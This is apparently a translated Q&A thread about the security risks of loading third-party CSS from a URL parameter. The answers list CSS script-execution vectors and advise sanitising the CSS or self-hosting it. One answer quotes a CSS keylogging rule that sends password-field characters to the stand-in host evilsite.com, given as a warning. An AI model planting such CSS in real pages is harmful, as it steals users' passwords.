我的目标是允许合作伙伴通过在URL参数中传递指向其样式表的链接,为自己的目标和感觉设置其着陆页的样式。通过JavaScript加载第三方CSS是否存在安全性或浏览器兼容性问题?
答案 0 :(得分:13)
在CSS文件中。
expressions(code)
,behavior:url()
,url(javascript:code)
和-moz-binding:url()
都存在潜在的安全问题。
行为不能跨域,以便消除某些威胁,但一般来说,您确实需要以某种方式对其进行消毒。
如果您允许用户链接到外部服务器上的CSS,则没有完全可靠的验证方式。服务器可以检查服务器上的CSS文件,以确保没有任何恶意,但如果用户更改样式表怎么办?你必须不断检查样式表。此外,服务器可能会向服务器IP地址提供不同的信息,以试图绕过验证方法。
老实说,我建议将CSS存储在您自己的服务器上。简单运行它会抛出一个正则表达式解析器,从上面删除可能的恶意代码。
答案 1 :(得分:3)
只要你以某种方式验证它就应该是好的。
GOLDEN RULE :不信任用户
答案 2 :(得分:2)
如果用户是唯一能够查看自定义CSS的人,那么实际上并没有任何危险。他们可能会破坏他们在您网站上的体验,但不会破坏他人的体验。
但是,如果他们的自定义CSS显示给其他用户,那么他们可能会使用它来按照您的意图完全搞乱您网站的样式。例如,他们只需抓取源中某些重要元素的id
,并覆盖它们以隐藏它们。
当然,只要您小心并正确消毒所有用户输入,您就不应该遇到任何重大问题。
答案 3 :(得分:0)
CSS表达式仅适用于IE 6-7,但允许使用内联JS(通常用于计算要设置的值)。
例如:
/* set bgcolor based on time */
div.title {
background-color: expression( (new Date()).getHours() % 2 ? "#B8D4FF" : "#F08A00" );
}
然而,这可能会被用来做恶意事情,我说它至少值得一些测试。
答案 4 :(得分:0)
如果第三方被黑,并且攻击者将邪恶的CSS替换为良性CSS,则您可能容易受到以下攻击:
expressions(code)
,behavior:url()
,url(javascript:code)
和-moz-binding:url()
运行脚本。这可能已过时,但在极少数情况下可能仍然有用。
底线
加载第3方CSS有点危险,因为如果第3方受到攻击,则会增加攻击面。如果可能,请在您自己的服务器上存储一个已知的,安全的第三方CSS版本,并将其提供服务(基本上是将其转换为第一方)。
* css渗透攻击-请参阅https://github.com/maxchehab/CSS-Keylogging。例如,此CSS将告诉攻击者用户在密码字段中键入了字符“ a”。
input[type="password"][value$="a"] {
background-image: url("http://evilsite.com/a");
}
引用:https://jakearchibald.com/2018/third-party-css-is-not-safe/
另请参阅:https://security.stackexchange.com/questions/37832/css-based-attacks